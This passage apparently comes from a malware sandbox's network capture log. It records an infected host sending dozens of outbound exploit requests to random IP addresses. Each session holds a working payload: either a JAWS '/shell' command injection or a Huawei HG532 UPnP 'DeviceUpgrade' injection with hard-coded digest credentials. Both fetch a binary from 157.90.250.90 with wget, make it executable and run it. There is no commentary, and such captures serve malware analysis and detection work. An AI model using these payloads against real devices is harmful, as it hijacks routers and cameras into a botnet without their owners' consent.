55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.23	43422	20.223.0.235	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:47.587572098 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.23	56630	89.106.217.241	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:47.588342905 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.23	44250	176.88.220.123	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:47.619507074 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.23	39812	14.2.153.102	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:47.620258093 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.23	57190	204.71.210.36	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:47.620898008 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.23	33594	197.184.110.72	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:47.682593107 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.23	55264	197.25.172.124	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:47.683480978 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.23	58794	197.57.240.239	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:47.684166908 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.23	59074	155.203.22.126	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:47.715289116 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.23	53122	170.152.121.169	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:47.747268915 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.23	58128	192.62.46.240	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:48.044792891 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.23	42638	177.95.70.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:48.045500994 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.23	57340	186.45.45.229	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:48.046257019 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.23	48110	75.96.152.124	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:48.046911001 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.23	36340	88.109.144.121	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:48.047612906 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.23	46408	107.254.158.162	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:48.048310995 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.23	35012	116.59.162.85	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:48.048975945 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.23	58900	181.16.202.67	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:48.049648046 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.23	44924	137.96.172.137	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:48.159888983 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.23	54912	158.229.16.172	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:48.160705090 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.23	60642	65.196.231.131	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:48.161453009 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.23	60744	80.213.14.165	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:48.162218094 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.23	40216	149.214.222.91	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:48.162961006 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.23	47328	14.201.184.218	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:48.163672924 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.23	50374	118.211.183.67	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:48.164346933 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.23	41142	105.208.107.220	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:48.164949894 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.23	48388	216.45.248.172	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:48.165544987 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.23	41418	84.171.71.67	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:48.166142941 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.23	36494	199.96.168.179	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:48.167659998 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.23	56492	41.50.74.64	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:48.708165884 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.23	50796	156.213.87.168	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:48.708811998 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.23	46904	134.104.83.77	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:49.189100027 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.23	37540	41.76.192.116	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:49.189881086 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.23	50074	112.198.79.120	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:49.190496922 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.23	44158	131.115.153.201	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:49.191178083 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.23	44118	154.175.128.164	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:49.191777945 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

